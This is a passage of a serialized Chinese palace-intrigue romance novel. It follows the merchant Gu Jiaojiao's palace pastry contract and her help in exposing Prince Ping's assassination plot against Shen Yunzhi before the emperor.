“向来觉得顾姑娘沉稳,又是见过大世面的女子,只这一个消息便惊讶了不成?” “自然是要震惊的,这便是与皇室有联系了,我的生意再大,照着皇商还是差了很大一截呢。” “如今只是一些糕点,供后宫而用,还不算是皇商。” “我自然知道,可这也算是照皇商更近了一步,说起来,这都是小王爷的功劳,民女以茶代酒谢过。” 顾皎皎好看的眼睛里都闪烁着晶亮的光芒,喜悦溢于言表。 看着她端起杯子,沈云祉也抬了抬手中的茶盏,以示接下她的谢意。 “常嬷嬷明日会去第一楼见你,到底是宫中饮食,不宜让外人知晓,你晓得轻重。” 沈云祉提醒着。 宫中的食物向来是由御膳房专门负责,之前也未曾有从宫外带进去之说,一是是怕人议论,二来也是怕别有用心之人,在这些吃食上动手脚。 这其中的利害,顾皎皎自然也心如明镜。 “是,我记下了。” 她也是难得这么乖巧。 一阵风拂过,淡淡的桅子花香飘入,沈云祉抬头看着月色,也意识到时候不早了。 他站起身,拂了拂衣衫,才缓缓开口。 “本王乏了,先回了。” “我送小王爷。” 顾皎皎将沈云祉送到门口,刚刚没看到的马车,如今正出现在顾府的门外。 沈云祉突然停下脚步。 “若是本王的妾室,顾姑娘可瞧得上?” 这突如其来的问题,让顾皎皎眨巴着大眼睛半晌都没有反应过来,站在原地,一时无言。 沈云祉也未等,大笑着上了马车。 不知是不是跟沈云祉牵扯多了,顾皎皎有时候觉得自己脑子不够用,就像沈云祉刚刚那是什么意思?只是为了调侃她一番? 顾皎皎没有再多想,沈云祉的到来终究是给她带来了一个好消息。 翌日。 常嬷嬷是宫里的老人,因是很少出宫,又是刻意隐瞒了身份,所以出现在第一楼时,也没有人注意。 “顾掌柜,老奴前来,也只是先定几样糕点,供后宫的娘娘们挑选,若有失礼之处,望顾掌柜莫要见怪。” 到底是宫里出来的人,这位常嬷嬷说着客气的话语,但从始至终都是一副傲慢的模样。 顾皎皎命人上了茶,也将一些糕点的样式摆在桌上。 “嬷嬷折煞民女了,能劳动嬷嬷亲自前来,已然是民女的福气了,这些,您挑喜欢的尝尝,稍后还有几道汤品,专门为嬷嬷留的。” 顾皎皎这见人说人话,见鬼说鬼话的本事将常嬷嬷哄的很快开心了不少,几番讨论下,定下七种糕点。 “每日辰时送入宫中,要求新鲜现做,顾姑娘,这些可都是给贵人们享用的,若是出了差池,你我人头不保。” 常嬷嬷是常年在宫里伺候的,自然知道伴君如伴虎的道理,也更郑重一些。 “是,嬷嬷放心,民女定会安排妥当。” “好,那便先定半月的,若是贵人们喜欢,你这第一楼入了皇商,便也不必这般麻烦了。” 常嬷嬷这话,就算是给顾皎皎吃了一个定心丸。 顾皎皎笑笑,转身将事先准备好的一个匣子拿了过来,打开。 匣子里摆放着几款首饰,即使是见惯了好物的常嬷嬷也不禁双眼放光。 “民女只是一介商女,俗不可耐,想着送些什么给嬷嬷,可挑来挑去也只挑得这些,嬷嬷是高雅之人,还望嬷嬷不要嫌弃。” 顾皎皎满脸真诚。 常嬷嬷的目光都未从那匣子上离开,但是还保持着她是宫中人的高傲。 “顾姑娘这是何意?老奴是奉皇上之命还办事,难不成还要收你的孝敬?那老奴成什么人了?” 她说的理直气壮,像是真的一般。 顾皎皎却轻笑着上前一步,与常嬷嬷近了一些。 “嬷嬷说的哪里话,实则是民女身份低微,难得见到宫中的贵人,嬷嬷见多识广,皇宫又繁华巍峨,民女只是想着,若嬷嬷有空跟民女说说皇宫之事。” 她特意停顿了一下,看了那一匣子的珠宝首饰,又继续说了下去。 “这些给嬷嬷,也是想着能跟嬷嬷有些见识,这些在宫外可是花多少银钱都买不到的。” 顾皎皎已然找了这样好的理由,常嬷嬷也是顺势收下了。 “顾姑娘前途无量啊。” “还是要倚仗嬷嬷。” 二人三言两语间便将事情定了。 送走常嬷嬷后,顾皎皎松了一口气,转头便让莺儿备车。 “去驿站。” 顾皎皎吩咐着。 “姑娘已经许久没有像现在这般开心了。” 莺儿坐在一侧,看着顾皎皎的模样,她也不自觉的高兴起来。 是啊,这日子一日日的过着,不只忙碌,也需要洞察人心,已经许久没有像现在这样,从心底里觉得高兴。 顾皎皎微微扬了扬嘴角,没有说话。 马车缓缓停下。 顾皎皎下车后,还带了一些人搬了几个箱子进驿站,直接抬进了沈云祉的院子。 这一幕可是将双瑞吓坏了。 “顾姑娘难不成是要搬过来与我家小王爷同住?” 话音落下之时,他的头也被双剑重重的拍了一下,而后冲顾皎皎抱了抱拳。 “顾姑娘,小王爷在里面等着了。” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百一十五章 那样动人心魄 沈云祉的屋子干净雅致,倒不像他本人那般张扬。 沈云祉斜靠在外室的软榻之上,一只手拄着头,看着门口处主动而来的佳人,那抹玩味的笑挂在嘴解。 “顾姑娘这是思念本王了?” 他故意调侃着的开口。 顾皎皎也算是了解一些他这副脾性,并未将他的话放在心上。 “从岭南运来的新鲜果子,民女特意给小云南王送来,谢小云南王相帮之情。” 她与他隔了一些距离,但晶亮的双眸,却那样动人心魄。 沈云祉从她的脸上移开目光,透过窗子看向屋外。 外面的下人正将两个大箱子抬进厢房,莺儿在一旁指挥着,一边说着不可晒着,一边也让那些人小心一些,说里面的东西金贵的很。 “如今这季节,即使是宫里要这些东西,也是要费些周章的,陆路会让果子坏掉,又快又保新鲜,只有水路了,你走了官船?” 沈云祉看向顾皎皎,伸手示意她坐下。 顾皎皎微微点头,也没有隐瞒的意思。 “官船快些,到了时我也检查过,那果子还是水灵灵的。” “你可知道,少有商户走官船,若是被查到,只需要一道命令,便可定你的罪。” 沈云祉目不转睛的盯着她,漆黑的眸子里闪烁着让人琢磨不透的光芒。 顾皎皎也是没想到,自己送个礼,反倒被盘问起来了。 “银子花下去了,自然就可天衣无缝,我的货若是被发现,在明面上也是某位官员的货。” 她说的轻巧,低垂下眼眸之时,一道冷光从眼底闪过。 她的神色并未逃过沈云祉的眼睛,他蹙了蹙眉,面露凝重。 “顾姑娘,你是生意人,但若是走了歪路,怕是不会长久。” 他是提醒,也有点威胁的意思。 顾皎皎抬头迎向他的目光,蔫然一笑。 “小云南王是要说教吗?如您所说,我是生意人,我所行之事自是以利益为先,只说这官船,那船夫为朝廷干活,但最后所得银钱都不如个渔民,我只给他们这一趟的银钱,便是他们一年的收入。” 顾皎皎歪着头,略带挑衅的抬了抬眼。 “您说这是歪路,可朝廷想过那些船夫走正路要如何过活吗?” “你这是在怪朝廷?在发泄怨气?” 沈云祉倒是觉得有些意外,他以前只觉得这顾皎皎在生意上是块好料,却不想她竟还有其他才能没被发掘出来。 “民女不敢,民女只是说生意自是要变通的,就如小云南王的那间醉月楼,我朝有令身为,一不能私立烟花之地,二不能与贱籍女子纠葛,小王爷觉得呢?” 顾皎皎不卑不亢,轻言浅笑间,似是做了什么消息的置换。 沈云祉脸上没什么异样,但这心里却还是不自觉的紧了紧。 这个顾皎皎太厉害了,他将产业交出去的时间不长,但顾皎皎似是已然将他所有的产业打理清楚,甚至还摸透了内里的情况。 如这醉月楼,明面上烟花之地,但却是一个传递消息以及招揽人马的好地方,还有一些银钱,过不了明路的,都会从这里走一遍。 沈云祉没有问顾皎皎知道多少,毕竟用人不疑,疑人不用。 “既如此,那顾姑娘的心意本王就收下了。” 沈云祉变脸像翻书一样快,刚刚凝重散去,又恢复了他那纨绔慵懒的模样。 他们二人都是聪明人,过多的内情也不必多说。 顾皎皎微微点头,笑意不减。 “正好你来,本王待的也是无趣,外面送来两只鹿,准备送入宫里的,现下正在驿站稍做调整,不如你陪本王去瞧瞧?” “恭敬不如从命。” 顾皎皎站起身。 这驿站往来的人都是官事,大多也不会过久停留,如今小云南王在此,这里倒被他管的如他的府邸一般了。 二人漫步在驿站的后园里。 已是秋末的时节,原本茂盛花草早已不见,若不是两边松柏还青翠如初,这里会更显荒凉。 前面不远处便是新围起来的一块空地,里面的两只鹿倒是很吸引人。 “竟是白色?” 两只鹿通体雪白,似是被什么东西染过一般,好看极了,也着实是难得一见。 “是啊,若只是普通的鹿,又怎会送入宫中。” 沈云祉双手背在身后,看着眼前的景倒是没什么震惊之色。 顾皎皎点了点头,想来也是,能入那皇宫的,自是万里挑一的珍贵之物,那些自然生长的,也没有机会。 “说起这鹿,民女倒是想起一事,平王被禁足于府,但是送菜的却在今日送去了鹿茸。” 顾皎皎目视前方,似只是随意提起一般。 沈云祉猛然转头,盯着她那娇美的侧脸,唇边的笑意也是僵了僵。 “他与外界传递消息。” 良久,沈云祉才沉声开口。 每个府邸都会有一些固定的菜贩,每日送一些新鲜的蔬菜入府也是方便,但这鹿茸却不是菜贩所有的。 平王府若是想要鹿茸,只能找专门的商铺,如今由菜贩带进平王府,只能说明平王与外界有联系,才能每日安排人帮他送鹿茸入府。 “民女不知,民女只是随口一说。” 顾皎皎装出一脸无辜的模样,似是自己什么都没有说。 她这般样子,让沈云祉顿时笑出声。 他的笑声惊了不远处的两只白鹿,逃也似的跑开了。 “装饰过的东西,终究上不得台面,罢了,回吧。” 沈云祉转身,顾皎皎也紧随其后离开了这里。 平王府。 平王被禁足于王府已有两日,外面的人倒是不知道他被责罚,但是大理寺的人每日都会来问话,查看,让他烦躁不安。 平王妃日日都会安抚,却不见什么成效。 “王爷安心,今日得到的消息跟昨日一样,没什么动静,小云南王这几日都在驿站,不曾与什么人往来。” 李嬷嬷再一次汇报着得到的消息,可越是这样,平王越是不安。 “沈云祉给本王设下计谋,不会雷声大雨点小,他定是有别的目的。” 平王咬着牙,目露凶狠之色。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百一十六章 站稳脚跟 平王盘踞京城多年,自是有他的势力,纵使是皇命他禁足于府,他也有他的法子与外界取得联系。 如今,皇上彻查沈云祉刺杀一案,沈云祉这个当事人却暗兵不动,这绝不是什么好兆头。 “王爷息怒,这件事查来查去最后也不会有什么结果,皇上最多申斥几句也就是了,可若是我们被人抓到了把柄,便是无力回天了。” 李嬷嬷低声提醒着,她虽只是一介奴婢,但跟在平王身边久了,自然懂的多些。 平王屡次在沈云祉那里吃亏,自是咽不下这口气的,他确定沈云祉是跟朝中的官员有来往,所以想在他禁足之时查到些蛛丝马迹。 只是,两天过去了,他什么也没有发现。 “你先去吧,本王再思索。” 平王眼都没有抬一下,冲李嬷嬷摆了摆手。 李嬷嬷识趣,行了个礼后便离开了。 平王不想错过这个机会,未听取李嬷嬷的建议,但很快他就得到了他想要的消息。 两日后,沈云祉与大理寺的一位官员见面,选择的地点是京郊的一间茶楼。 “我们的人看的真真的,小云南王是遮遮掩掩的见了那位大人,二人在一间单独的房间里聊了近一个时辰,小云南王才勿勿离去。” 李嬷嬷汇报的这些,就是外面他们的人送来的消息。 几日来,一直愁眉苦脸的平王,在此刻瞬间心情大好。 “本王就知道,这一切都是沈云祉的阴谋,有了这层,就算他查到什么,本王也不怕了。” 平王满脸得意,又突然想到了什么,抬头看向李嬷嬷。 “我让你派人去查云南王的事,如何了?” “云南王依旧在回京的路上,本是近几日就该到了,但我们的人刺杀了几次,云南王身边的人有人受伤,行程便也耽误了,怕也还需要些时日。” 李嬷嬷如实答道。 “好,很好,拖住那个老东西,本王就多些时间,等他到京之时,就是给他儿子收尸之时。” 平王胸有成竹,好似是一切都已在他掌控之中了。 “王爷,皇上近来对小云南王颇为重视,若是……” “那又怎样?沈云祉不过是靠着这些年在外的军功,可本王是正宗的皇室嫡系,他日若是更天换日,本王也才是那个最名正言顺之人。” 这份自信,平王从未丢掉,他的得意来自于对权位的眷恋,与能力心性无关。 第一楼。 顾皎皎每日都要亲自检查送往宫中的糕点,做到没有任何差错,才会派可靠的人送去。 待忙完时,她才上了阁楼休息一下。 莺儿却在此时闯了进来,这丫头一向毛手毛脚,这一次却小心翼翼,进门后还特意查看了一下外面,确定没人后,将房门紧紧关闭。 “这是怎么了?” 顾皎皎抬头,笑着看向莺儿,以为她又看到了什么热闹。 “姑娘,出事了。” 莺儿凑近顾皎皎,还是压低了声音,小声开口。 “小云南王与平王一同被圣旨传进了宫中,王吉传来消息,说今日大理寺也有几位主事之人一同进宫。” 此消息一出,顾皎皎不禁倒吸了一口凉气。 沈云祉遇刺一事拖了也有些时日,平王也被禁足多日,原本看似风平浪静的京城,却突然就来了一道惊雷。 顾皎皎起身走到窗前。 刚刚还是艳阳高照,只一会儿的功夫就阴云密布。 她知道沈云祉是有城府之人,即使是来到这京城是非之地,他也会做好万全之策,但顾皎皎还是不自觉的担忧。 她是聪慧之人,相处久了,她也看得出沈云祉与平王不和,不只是因为二人脾性不投,更重要的还是权位。 “姑娘,你是在担心小云南王?” 莺儿站到顾皎皎身侧,似是有些意外。 “若是成,他算是在京城站稳脚跟,但若是败了……” 便是一败涂地。 后面的话,顾皎皎并没有说出来,是因为她从心底里希望沈云祉可以赢。 只是,朝堂之事,又岂是她一介女子可以左右的? “莺儿,让王吉派两个可靠的人,在宫城外查探消息。” 良久,顾皎皎悠悠开口,她没有回头,只望着窗外,冷风拂过她的脸,她并不觉得凉。 “姑娘,在宫城外查探消息,若是被发现,那可是杀头的死罪,您这是……” 莺儿自幼便跟在顾皎皎身边,知道她家姑娘一向是行事稳妥的,可是今日却有些不计后果的样子。 “快去吧。” 顾皎皎像是没有听到莺儿在说什么一样。 莺儿只能咬着牙离开。 天色灰沉沉的,顾皎皎感觉心底也似压着什么,久久不能平静。 皇宫。 崇德殿内,皇上撑着病体亲自过问刺杀一案。 在下方站着的,除了小云南王与平王,还有大理寺的一干人等,这种情景下,若是有谁从中作梗,只会是自寻死路。 大理寺的人查到了一份关键的证据,是一个手令,这天下的人都知道,这手令是平王所有。 “在城外的一片茺庙里,我们发现了几具尸体,经证人辩认,那些人正是两次刺杀小云南王之人,在其中一人的身上,我们发现了这个。” 大理寺卿将手令呈了上去。 皇上看过,也确定这手令正是出自平王府,脸上的怒气更甚。 “平王,你可有话说?” 面对证据,面对皇上的质问,平王却不像上次一样激动,反倒是更为平静了。 “回皇上,臣是被冤枉的,这手令怕也是有心之人的栽赃陷害。” 平王说的理直气壮。 “事到如今,你还了嘴硬,谁人会谋害你?谁人又能陷害的了你?” 皇上拍着桌子,怒不可遏,激动之余,也忍不住咳嗽了几声。 平王却丝毫不在意皇上此时的身体,转头看向沈云祉。 “说来也是奇怪,这案子查了这么久,都没什么进展,在小云南王见过大理寺的吴大人后,便找到了确凿的证据,这到底是巧合,还是有人故意为之。” 平王所说的吴大人,此时也在殿上,也正好是这次案件的主事人之一。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百一十七章 等候发落 平王的话让整个大殿都安静下来,针落可闻,空气里都充斥着诡异的气氛。 “平王,你知道你在说什么吗?” 皇上冷声开口,盯着平王的眼睛里都渐渐袭上怒火。 “皇上,臣所言句句属实,小云南王与吴大人若是不肯说实话,查一查便是了。” 平王高昂着头,胸有成竹。 在场的人都知道,如今这刺杀之案拖了这么久,再发生什么点滴的小事都可成为关键,就像现在,平王是不是刺杀主谋,也取决与小云南王是不是与朝中官员暗中勾结。 “不必查了。” 皇上并未疾言厉色,甚至不比之前的神色凝重,反倒像是泄了一口气,满眼失望。 “皇上,臣……” 平王想再说些什么,但皇上却摆了摆手,制止了他。 “吴大人,你来说。” 皇上扫了一眼下面站着的人。 吴大人立即上前,向皇上行了礼后面向平王。 “如平王所说,微臣确实见过小云南王,但那是奉了皇上之命,需要小云南王确认一份证据,在见面之前,微臣与小云南王并未有过任何接触。” 吴大人已经讲的很明确,但平王却是不信。 “哼,你当本王和皇上都是傻子吗?若只是排查证据,大可以去驿站,又何苦跑到城郊的茶楼?遮遮掩掩,分明就是借机暗度陈仓。” 平王自是意外的,完全没有想到是有皇上的旨意,只是事已至此,他必得要坚持到底,不然反倒让人怀疑。 “之所以会在城郊的茶楼见面,是因为要劳动小云南王前往城郊的废庙辩认凶手身上的剑伤,小云南王伤未痊愈,等待之时,便请小云南王在茶楼歇息片刻。” “胡说,你们明明在里面待了一个时辰之久。” “王爷说的是,原本只是歇息一下,但是仵作那里验尸时,费了一些功夫,便多等些时间,这些微臣早已汇报给了皇上,递交上的折子也写得清清楚楚。” 吴大人说的认真。 听到这里,平王已经意识到不对了,他这时才想起沈云祉,从进入这大殿开始,这个小云南王就没有说话。 平王猛然转头,正撞上沈云祉眸子里一闪而过的狡黠,确切的说,是阴险。 “沈云祉,你竟然敢给本王设下陷阱。” 平王突然大吼出声,愤怒之余也恨自己愚蠢,再一次中了沈云祉的计谋。 此时,沈云祉才迈着四言步,缓步上前,但神色平静,抬眼间还流露出一丝不解的光芒。 “平王一定要往小王的头上扣个帽子吗?大理寺呈给皇上的证据,小王与您是同一时间知道,又何来陷阱之说?何况,从始至终,小王也未曾说过什么。” 这些,皇上以及在场的大臣都看在眼里。 沈云祉表现出的无奈与无辜,让平王迎着在场的人异样的目光,慌乱之余,他也是更加口无遮拦。 “你放屁,你少给本王装出这副模样,从始至终都是你的阴谋,为了陷害我,你不择手段,不然怎么会让我发现你与大理寺的人在一起。” 话音落下之时,沈云祉的唇边勾勒出一抹笑意,却只有平王自己一人看到,转而消失不见。 平王眉头紧皱,欲说什么时,皇上却率先开口了。 “是啊,平王,朕也想知道,你这段时日不是在禁足吗?为何连云祉以及大理寺官员的动向都了如指掌?” 人在禁足,消息却没有禁,在这京城之中,天子脚下,平王却丝毫不顾圣旨,我行我素,只此这一条,便足以定他的罪了。 只是,皇上向来重情,又因着这朝政,不忍苛责。 “朕在问话,为何不答?” 到现在为止,皇上已然失去了大半耐心。 平王自知无法隐瞒。 “回皇上,臣有罪,臣确实是暗中派人打探了沈云祉的行踪,那是因为他诬蔑臣在先,臣被禁足,又担忧他阴险狡诈使计谋,臣这才盯着他行事,但……但刺杀一事,与臣无关。” “放肆!” 皇上大怒,随手将案上的茶盏丢了过来。 杯子碎裂,众大臣一同跪地,齐声喊道,“皇上息怒。” “你还敢狡辩,大理寺已查清,那些刺客身上不只有你平王府的手令,还有你给予他们的银两,那银袋的料子还是朕赏你的,云祉也已经看过,其中两名刺客身上的剑伤,是他身边双剑的剑所留下的。” 皇上一口气说了这许多,就是想让平王意识到证据确凿,让他认错,可这平王…… “皇上,您这是偏袒小云南王,虽然证据都指向臣,但也难保不是有人栽赃陷害。” 听到王平这般说,皇上更是气的不轻,指着他想骂他几句,但一口气闷在胸口,又忍不住剧烈的咳嗽起来。 沈云祉终究是看不下去了,他怒瞪着平王,冷声开口。 “平王既说是陷害,可有证据?如今证实你的罪证就摆在眼前,你却空口白牙说是诬陷,我便也罢了,难不成皇上和大理寺众官员都诬陷你不成?” 不给平王说话的机会,沈云祉又上前一步。 “既你说是被诬陷,那便查一查,银子出自平王府,手令也出自平王府,若不是你所为,便是你府中有内贼,那便搜府严查,还平王一个公道。” “你敢,你算什么东……” “够了!” 皇上怒吼出声,也让他们二人的争吵告一段落。 “平王行事狠毒,刺杀小云南王,事情败露还攀诬旁人,实在是胆大妄为,来人,送平王回府,幽禁,等候发落。” 平王大喊着冤枉,吵吵闹闹,却都没有求饶,最后还是被禁军拖了出去。 将平王赶出去,皇上也命大理寺的人退下,整理案卷如实记录。 “云祉,朕乏了,你送朕回寝殿。” 这所有人离去,皇上也只留下了沈云祉。 “是。” 沈云祉应着,心里如明镜一般。 他陪着皇上进入寝殿,皇上甚至连身边的宫人都打发了出去。 “云祉,此事这般,你想怎么处理?” 皇上投过来的目光颇有深意,倒不像是真的让沈云祉做决定。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百一十八章 何来委屈之说? “如此大事,臣无法做决定,全凭皇上做主。” 沈云祉扶着皇上坐到床榻边,看的出来,皇上确实是真的乏了,面露疲惫之色,精神也似是强撑着一般。 皇上抬了抬手,示意他坐下,轻咳两声后,也忍不住的轻轻叹气。 “皇室子嗣本就不多,朕的身体又是这般,不能留后,朕也知道平王嚣张跋扈,可是他到底还在壮年,许是日后也能为皇室开枝散叶。” 皇室停顿了一下后,抬眼看着沈云祉。 “平王这些年一直忌恨朕,他非帝王之材,与帝位无缘,朕这身体不争气,只是想着留着他这支血脉,待朕死后,也能向地下的列祖列宗有个交代。” 皇上句句未提赦免之事,但字字都在为平王求情。 帝王之家,又怎可真的与庶民同罪? “皇上言重了,皇上只是身体欠佳,好好调理必定能大好,至于平王,臣到底也只是受了伤,无性命之忧,如若皇上同意,臣想着只申斥训示就算了。” 不是沈云祉大度,而是他洞察到了皇上的心意。 在他话音落下之时,皇上的脸上立即褪去了紧张之色,更表示欣慰。 “还是你懂事,只是这件事委屈了你。” “皇上莫要拿臣取笑,为君分忧,为民解难,是微臣的本分,何来委屈之说?” “朕心里有数,也跟你说句实话,不对平王严惩也是怕他狗急跳墙。” 他们二人都清楚,平王在京中的势力不小,一时间也无法全部铲除,皇上只希望平王能悬崖勒马。 “对了,你父王是否快到京城了?” 皇上转移话题之时,也意味刺杀之事,就这般定了。 “是,前日收到了父王书信,不出三日,他便可入京。” “那便好,到时朕设宴,为他接风洗尘。” 皇上又说了几句闲话,最后也实在是体力不支,才放沈云祉出宫。 踏出宫门的那一刻,双剑就走了过来。 “属下发现自您入宫后,便有几人在宫门口鬼鬼祟祟的观望,出于可疑,让双瑞去查了,是顾姑娘的人。” 双剑声音压的很低。 “顾皎皎?” 沈云祉有些意外,思索片刻后才扬了扬嘴角。 “她是不是还安排了其他事?” “小王爷英明,双瑞去查时发现,顾姑娘还临时吩咐港口处停了几只船,没交代做什么,只要船夫们待命。” 沈云祉眼中的笑意渐浓,旁人猜不出,他却猜得出几分。 “去第一楼……” “小王爷忘记了,杜大人还在驿站等您。” 双剑提醒着。 杜玉荣知道今日有大事发生,但他不方便来宫里,只得在驿站等候着。 “本王倒是忘了这茬,罢了,明日再去第一楼,回驿馆。” 他上了马车,未再停留。 第一楼。 顾皎皎一直在阁楼之上,看着这天色,一点点的由阴转晴。 “姑娘,小云南王离开皇宫,已经回驿站了。” 莺儿这一日楼上楼下的跑了许多趟,终于这次带回了一个好消息。 顾皎皎猛然转过头,阳光从她的身后照过来,将她灿烂的笑笼罩在阴影里。 “无事发生?” 她心里的这块大石头在缓缓放下。 “怎会无事发生?平王是被禁军押回平王府的,一路上都喊着自己是被冤枉的,还说小云南王设计害他。” 听着莺儿的话,也可确定,刺杀之事算是定了。 “那便好。” 顾皎皎长长的吁了一口气,不管过程如何,到现在也算是尘埃落定了。 她心情好了一些,也带着莺儿去楼下帮忙。 驿站。 杜玉荣等了许久,只茶便饮了七八杯,在看到沈云祉完好无损的回来时,也才松了一口气。 “此次多亏了你,才能让平王露出马脚。” 看到杜玉荣的那一刻,沈云祉便开口,大步朝里面走来。 杜玉荣起身行礼。 “小王爷客气了,本就是他行事不端在先,何况我也只是将那些线索透露给大理寺,并未做什么。” 那些线索自是沈云祉查的,杜玉荣只是作为一个传话人,自然了,要不让皇上以为他们别有用心,杜玉荣也是花了一番心思的。 “玉荣乃是君子,本不该让你参与这等肮脏之事里,只是,在京城之中,本王所信任的人着实不多。” 沈云祉说的诚心,所表达的愧疚也发自真心。 杜玉荣却并不这样想。 “书中说,大丈夫不拘小节,让奸佞露出尾巴,正是君子所为,我问心无愧,小王爷又何必自责?” 杜玉荣笑起来的时候如阳光般和煦,温和又不失高贵。 沈云祉也不自觉的扬起嘴角,说起这人情,他不自觉的想到了顾皎皎。 “小王爷,属下有一事不明,您与吴大人见面,本就是皇上的指意,吴大人也将那刺客的伤口拓下来,您又何必亲自去一趟呢?” 杜玉荣不知崇德殿上发生了什么,才会有此一问。 君子之交,杜玉荣不遗余力相帮,沈云祉自也不会隐瞒,坦荡相告,从一开始知道平王与外界有联系,到约吴大人在城郊见面,都只是为了让平王在殿上说出那些话。 怕是平王现在也知道,刺客之事的结果早就不重要了,他所说的那些话才是致使他一败涂地的真正原因。 听着这些,杜玉荣才恍然大悟,不住的点头。 “只是,小王爷又是如何得知平王禁足期间与外面有联系?平王对小王爷向来提防,应该不会被您轻易探查到吧?” 杜玉荣紧接着又问出心中疑惑。 “这件事说起来,还要感谢一个人……” 沈云祉后面的话没有说出来,在杜玉荣期盼的目光,他干脆转移了话题。 “明日午时,本王在第一楼设宴,谢你相助之恩,你万勿推辞。” 杜玉荣迟疑了一下,只得点头应下。 他不认为他需要感谢,所做这些都是为了朝廷与百姓,但沈云祉设宴的地点是第一楼,他便不想拒绝。 说起来,杜玉荣也有些时日没有见到顾皎皎了,他这段时日被赵蕴苎缠的紧,除了一些要事,甚至连出府的时间都没有。 想着有个名正言顺的机会见到顾皎皎,杜玉荣还是难掩喜色。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百一十九章 这是第二次 翌日。 午时的第一楼,向来是最热闹的。 顾皎皎如今管理着沈云祉的一些产业,守在第一楼的时间较少,还是有人来给她传信,说是小云南王与杜大人要过来,她才匆忙赶回来。 按照以往的规矩,她不需要这二位开口点什么餐食,只让人备些招牌菜便是了。 顾皎皎走进二楼的雅间时,那二位已然坐在那里,矮桌之上,摆放着一些简单的糕点与茶水。 随着她走进来,一些热腾腾的食物也被端上了桌。 “本王不曾想,有一日要见顾掌柜,也是需要通报的。” 沈云祉向是嘴上不饶人,调侃起顾皎皎也似是养成了习惯一般。 “见过小云南王,杜大人。” 顾皎皎心里想着,若不是去料理他那些产业,她自是不会来回奔波的。 当然,她这话并未说出口。 “坐吧,一起用膳。” 沈云祉喜欢逗她,见她无奈又要隐忍的模样,他倒觉得有趣极了。 顾皎皎迟疑了一下,还是坐了下来。 男女大防是大事,但以她如今这处境,怕就算是不吃这顿饭,也没什么好名声。 “玉荣,她就是我给你说的那位贵人。” 沈云祉挑了挑眉毛,看着顾皎皎的神色变为震惊,才满意的收回目光。 杜玉荣自是意外的。 “顾姑娘竟然就是提供平王与外界联系消息的人?可是,可你又是如何知晓?” 他的意外之下,也透露出一丝担心。 顾皎皎只是商女,日日所行之事,也不过都是生意上的往来,如今掺杂进朝政之中,怕是不能独善其身。 也是此时,顾皎皎才明白‘贵人’二字是何意。 “小云南王言重了,不过就是菜商肉贩我也熟悉一些而已。” 她并不居功,也实在承受不了他们二人这般称赞,紧接着便转移了话题。 “平王可被治罪了?” 这本不是她该问的,但不知从何时起,似是有关沈云祉的事,她都会好奇。 沈云祉在她期盼的目光下,摇了摇头,随后看了杜玉荣一眼。 “皇上顾念旧情,只罚没了平王一些银钱,赔给小云南王,扣了他一年的俸禄以示警戒。” 这个结果,也是他们来第一楼前才听说的,初听到这个消息时,杜玉荣与此时顾皎皎的神色一般无二。 “只是这样?” 顾皎皎总觉得还有其他惩罚,但却并未等到杜玉荣继续说下去,而是在听到她的疑问时,他微微点了点头。 “刺杀王爷,欺上瞒下,也算得是欺君之罪,最后也只是这样?” 顾皎皎向来是沉稳的,朝中大事也从未像今日这般宣之于口过。 杜玉荣意外,沈云祉却平静如常。 “他到底是皇族,本王又还活着,算是小惩大戒。” 沈云祉早就知道皇上的意思,所以也不会觉得失望。 “人们常说,天子犯法与庶民同罪,如今倒是成了一句空话。” 顾皎皎几乎是脱口而出。 这话,可把杜玉荣吓了一跳,他也从不知道,顾皎皎还有这份心思。 “我知姑娘厌恶平王,你们之间也有过节,但此话万万不可在外面说,被有心人拿来做文章,于姑娘无益。” 杜玉荣并不知道,顾皎皎说这些话,并不是因为她与平王之间的恩怨,而是因为沈云祉。 堂堂小云南王,随父守护边疆多年,护边疆百姓安居乐业,战功赫赫,可回到这京城,却被人暗夜刺杀,谋划之人最后也只是被申斥几句,罚没些银两。 顾皎皎替沈云祉觉得不公。 “是,是我失言了,多谢杜大人提醒。” 她微低下头,掩饰着自己的心事,只当是就如杜玉荣说的那般吧。 她并不知,她所有的神情都被沈云祉看在眼里,也猜出了她的心事。 “顾皎皎,顾皎皎,你给我出来。” 外面一道声音响起,带着急切,带着怒火,随之而来的,还有莺儿的声音。 “你不能进去,不能……” 房门已经被推开。 当朝首辅的孙女,赵家的掌上明珠,每次出现都是这般与众不同。 不过,当看清里面的人时,赵蕴苎脸上的怒气散了大半,还不自觉的袭上一抹慌乱。 “小,小云南王安好。” 赵蕴苎杨柳细腰,欠身行礼之时,也是难得一见的美景。 沈云祉身体靠后,倚靠在椅子上,面上的不悦那般明显,他根本没有理会刚进来的这位姑娘,而是将疑惑的目光投向顾皎皎。 顾皎皎心里暗暗沉下一口气,自然知道这位赵姑娘是为了何事,但她还是装出什么都不知道的样子起身。 “赵姑娘何事惊慌?可是伙计们招呼不周?若有无礼之处,还望姑娘大人不计小人过,我定会狠狠责罚他们。” 顾皎皎这是给赵蕴苎一个台阶。 好在这姑娘也不傻,立即清了清嗓子,装出一副理直气壮的模样。 “是啊,我本想订间雅间,可是你的人却告诉我无法预订,就算我加钱都不肯,莫不是针对于我?” 赵蕴苎一边说着,一边还偷偷瞄了杜玉荣几眼,他在这里,她自然是要找些合适的借口。 “赵姑娘息怒,是我没有教好下人,这样吧,我带您去看一间,您若是喜欢,我为您安排出来。” 顾皎皎将戏做足,是不想场面过于尴尬。 赵蕴苎自然是会听她的,准备离开这里,但刚走到门口,沈云祉便开口了。 “赵姑娘,这是第二次,若再有下次,别怪本王不客气。” 他的声音冰冷,即使是看不到他的神情,都会让人后背发凉。 赵蕴苎不敢停留,逃也似的出了门。 待站在门外之时,她将恐惧与自责都化为了愤怒,最后将这怒火撒到了顾皎皎身上。 “顾皎皎,你到底是什么来路?几次三番与小云南王和荣哥哥用膳,你难道不知道自己的身份吗?” 这话,她说的理直气壮。 顾皎皎转头看了一眼身后的那扇门,已然紧紧关闭。 “赵姑娘,我这第一楼只是商铺,能迎来小云南王与杜大人这样的人,我自是要奉为上宾的,我若躲得远远的,岂非是失礼?” 她不知,他们的对话被里面的人听的一清二楚。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百二十章 承你的情 